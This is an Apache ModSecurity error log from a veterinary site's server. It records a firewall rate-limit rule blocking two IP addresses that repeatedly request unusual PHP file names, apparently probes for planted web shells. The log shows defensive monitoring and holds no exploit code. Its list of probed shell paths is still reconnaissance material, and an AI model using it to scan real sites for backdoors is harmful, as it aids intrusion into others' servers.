[Mon Apr 13 17:13:11.505174 2026] [:error] [pid 63311:tid 63395] [client 20.100.201.121:65170] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "adyzp6HjrGN1MqBCVFnQqAAAAJg"]
[Mon Apr 13 17:13:12.297846 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:64140] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "adyzqLHZEIkQ0Zmgp5odHwAAANU"]
[Mon Apr 13 17:13:12.481334 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:63698] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "adyzqLHZEIkQ0Zmgp5odIQAAANI"]
[Mon Apr 13 17:13:12.925387 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:65155] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "adyzqLHZEIkQ0Zmgp5odIwAAAMU"]
[Mon Apr 13 17:13:13.713107 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:65168] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "adyzqTDO3t8R5NaxzYTR-QAAAVM"]
[Mon Apr 13 17:13:13.830390 2026] [:error] [pid 57183:tid 57191] [client 20.100.201.121:64141] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "adyzqTDO3t8R5NaxzYTR-wAAAUY"]
[Mon Apr 13 17:13:14.404000 2026] [:error] [pid 57183:tid 57199] [client 20.100.201.121:64066] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adyzqjDO3t8R5NaxzYTSAAAAAU4"]
[Mon Apr 13 17:13:14.582793 2026] [:error] [pid 63309:tid 63336] [client 20.100.201.121:63645] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "adyzqkpIKZ10weXpf0UCvQAAABc"]
[Mon Apr 13 17:13:15.138594 2026] [:error] [pid 63311:tid 63372] [client 20.100.201.121:64610] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "adyzq6HjrGN1MqBCVFnQqgAAAIE"]
[Mon Apr 13 17:13:15.303255 2026] [:error] [pid 63406:tid 63412] [client 20.100.201.121:65107] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adyzq7HZEIkQ0Zmgp5odKQAAAME"]
[Mon Apr 13 17:13:16.251511 2026] [:error] [pid 63406:tid 63435] [client 20.100.201.121:64075] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adyzrLHZEIkQ0Zmgp5odLgAAANg"]
[Mon Apr 13 17:13:17.182951 2026] [:error] [pid 7228:tid 7235] [client 20.100.201.121:64114] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adyzrQEnn1dQrOSHHNVZmwAAAQU"]
[Mon Apr 13 17:13:17.564176 2026] [:error] [pid 63406:tid 63414] [client 20.100.201.121:63707] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "adyzrbHZEIkQ0Zmgp5odMgAAAMM"]
[Mon Apr 13 17:13:17.630487 2026] [:error] [pid 63310:tid 63353] [client 20.100.201.121:64617] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adyzrXoXpRU5ztmwPjIvMgAAAEk"]
[Mon Apr 13 17:13:18.770315 2026] [:error] [pid 7228:tid 7233] [client 20.100.201.121:63713] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adyzrgEnn1dQrOSHHNVZpAAAAQM"]
[Mon Apr 13 17:13:19.962787 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:62809] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adyzrzDO3t8R5NaxzYTSBAAAAVM"]
[Mon Apr 13 17:13:21.154195 2026] [:error] [pid 57183:tid 57199] [client 20.100.201.121:65150] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adyzsTDO3t8R5NaxzYTSCAAAAU4"]
[Mon Apr 13 17:13:21.587589 2026] [:error] [pid 63310:tid 63368] [client 20.100.201.121:65159] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adyzsXoXpRU5ztmwPjIvOQAAAFg"]
[Mon Apr 13 17:13:22.468863 2026] [:error] [pid 57183:tid 57207] [client 20.100.201.121:65207] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adyzsjDO3t8R5NaxzYTSEAAAAVY"]
[Mon Apr 13 17:13:23.170295 2026] [:error] [pid 7228:tid 7250] [client 20.100.201.121:64640] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adyzswEnn1dQrOSHHNVZpwAAARQ"]
[Mon Apr 13 17:13:24.744806 2026] [:error] [pid 9314:tid 9333] [client 20.100.201.121:64695] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adyztG_r4W8fX2GWyGTJagAAAZE"]
[Mon Apr 13 17:13:25.715786 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:64103] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adyztbHZEIkQ0Zmgp5odQQAAAM0"]
[Mon Apr 13 17:13:26.655817 2026] [:error] [pid 7228:tid 7253] [client 20.100.201.121:64663] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adyztgEnn1dQrOSHHNVZqwAAARc"]
[Mon Apr 13 17:13:26.684311 2026] [:error] [pid 7228:tid 7254] [client 20.100.201.121:64676] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adyztgEnn1dQrOSHHNVZrAAAARg"]
[Mon Apr 13 17:13:30.306056 2026] [:error] [pid 63309:tid 63328] [client 20.100.201.121:65171] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adyzukpIKZ10weXpf0UC0AAAAA8"]
[Mon Apr 13 17:13:30.513926 2026] [:error] [pid 63311:tid 63379] [client 20.100.201.121:64166] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "adyzuqHjrGN1MqBCVFnQwAAAAIg"]
[Mon Apr 13 17:13:30.811475 2026] [:error] [pid 9314:tid 9340] [client 20.100.201.121:64088] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gifclass.php"] [unique_id "adyzum_r4W8fX2GWyGTJcgAAAZg"]
[Mon Apr 13 17:13:32.002015 2026] [:error] [pid 9314:tid 9329] [client 20.100.201.121:64090] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adyzvG_r4W8fX2GWyGTJdAAAAY0"]
[Mon Apr 13 17:13:33.641449 2026] [:error] [pid 63309:tid 63320] [client 20.100.201.121:64688] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adyzvUpIKZ10weXpf0UC1AAAAAc"]
[Mon Apr 13 17:13:33.894558 2026] [:error] [pid 63310:tid 63356] [client 20.100.201.121:64622] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ta0ol.php"] [unique_id "adyzvXoXpRU5ztmwPjIvWgAAAEw"]
[Mon Apr 13 17:14:31.219879 2026] [:error] [pid 63310:tid 63359] [client 20.240.142.13:59876] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adyz93oXpRU5ztmwPjIvrAAAAE8"]
[Mon Apr 13 17:14:33.110919 2026] [:error] [pid 7228:tid 7232] [client 20.100.201.121:63733] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adyz-QEnn1dQrOSHHNVZ-gAAAQI"]
[Mon Apr 13 17:14:33.394071 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:64597] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "adyz-bHZEIkQ0Zmgp5oeJgAAAMU"]
[Mon Apr 13 17:14:33.697545 2026] [:error] [pid 63406:tid 63417] [client 20.240.142.13:59843] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adyz-bHZEIkQ0Zmgp5oeKAAAAMY"]
[Mon Apr 13 17:14:34.074593 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:62751] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "adyz-rHZEIkQ0Zmgp5oeLgAAANQ"]
[Mon Apr 13 17:14:34.865280 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:64097] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "adyz-rHZEIkQ0Zmgp5oeNQAAANY"]
[Mon Apr 13 17:14:35.268568 2026] [:error] [pid 63311:tid 63376] [client 20.240.142.13:64503] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adyz-6HjrGN1MqBCVFnREQAAAIU"]
[Mon Apr 13 17:14:35.456345 2026] [:error] [pid 63309:tid 63332] [client 20.100.201.121:64114] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "adyz-0pIKZ10weXpf0UDDgAAABM"]
[Mon Apr 13 17:14:35.998491 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:65178] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adyz-7HZEIkQ0Zmgp5oeOwAAAMg"]
[Mon Apr 13 17:14:36.720044 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:62796] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adyz_LHZEIkQ0Zmgp5oeQAAAAMo"]
[Mon Apr 13 17:14:36.909150 2026] [:error] [pid 9314:tid 9324] [client 20.240.142.13:61624] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adyz_G_r4W8fX2GWyGTJyAAAAYg"]
[Mon Apr 13 17:14:37.735799 2026] [:error] [pid 63406:tid 63433] [client 20.240.142.13:60464] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adyz_bHZEIkQ0Zmgp5oeSQAAANY"]
[Mon Apr 13 17:14:39.460542 2026] [:error] [pid 57183:tid 57204] [client 20.240.142.13:62764] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "adyz_zDO3t8R5NaxzYTSrgAAAVM"]
[Mon Apr 13 17:14:39.569727 2026] [:error] [pid 63310:tid 63354] [client 20.100.201.121:63720] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adyz_3oXpRU5ztmwPjIvsgAAAEo"]
[Mon Apr 13 17:14:39.646084 2026] [:error] [pid 63311:tid 63394] [client 20.100.201.121:64660] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Ov-Simple1.php"] [unique_id "adyz_6HjrGN1MqBCVFnRFwAAAJc"]
[Mon Apr 13 17:14:40.743460 2026] [:error] [pid 7228:tid 7237] [client 20.240.142.13:59870] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "ady0AAEnn1dQrOSHHNVaCAAAAQc"]
[Mon Apr 13 17:14:41.729313 2026] [:error] [pid 7228:tid 7232] [client 20.100.201.121:65123] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "ady0AQEnn1dQrOSHHNVaCQAAAQI"]
[Mon Apr 13 17:14:42.026096 2026] [:error] [pid 9314:tid 9322] [client 20.240.142.13:61915] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tx79.php"] [unique_id "ady0Am_r4W8fX2GWyGTJygAAAYY"]
[Mon Apr 13 17:14:43.314879 2026] [:error] [pid 9314:tid 9328] [client 20.100.201.121:64605] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ady0A2_r4W8fX2GWyGTJ0AAAAYw"]
[Mon Apr 13 17:14:43.361422 2026] [:error] [pid 9314:tid 9333] [client 20.100.201.121:64580] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "ady0A2_r4W8fX2GWyGTJ0gAAAZE"]
[Mon Apr 13 17:14:43.850607 2026] [:error] [pid 9314:tid 9324] [client 20.100.201.121:64643] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady0A2_r4W8fX2GWyGTJ1AAAAYg"]
[Mon Apr 13 17:14:45.098953 2026] [:error] [pid 63311:tid 63372] [client 20.240.142.13:62766] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "ady0BaHjrGN1MqBCVFnRHQAAAIE"]
[Mon Apr 13 17:14:45.573810 2026] [:error] [pid 63311:tid 63382] [client 20.100.201.121:63682] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jga.php"] [unique_id "ady0BaHjrGN1MqBCVFnRHgAAAIs"]
[Mon Apr 13 17:14:45.991131 2026] [:error] [pid 7228:tid 7235] [client 20.100.201.121:65130] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dass.php"] [unique_id "ady0BQEnn1dQrOSHHNVaFAAAAQU"]
[Mon Apr 13 17:14:47.327694 2026] [:error] [pid 57183:tid 57207] [client 20.240.142.13:62731] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX2.php"] [unique_id "ady0BzDO3t8R5NaxzYTSvQAAAVY"]
